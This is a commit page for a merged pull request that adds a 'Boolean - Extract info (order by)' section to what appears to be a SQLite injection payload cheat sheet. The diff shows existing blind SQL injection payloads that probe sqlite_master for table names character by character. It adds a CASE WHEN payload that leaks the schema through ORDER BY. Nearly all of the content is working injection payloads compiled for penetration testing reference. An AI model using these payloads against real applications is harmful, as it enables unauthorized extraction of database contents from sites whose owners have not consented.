Merge pull request #526 from nerrorsec/patch-4

Boolean - Extract info (order by)
This commit is contained in:
Swissky 2022-10-11 11:26:40 +02:00 committed by GitHub
commit b08600d56d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -72,6 +72,12 @@ and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
## Boolean - Extract info (order by)
```sql
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
```
## Boolean - Error based
```sql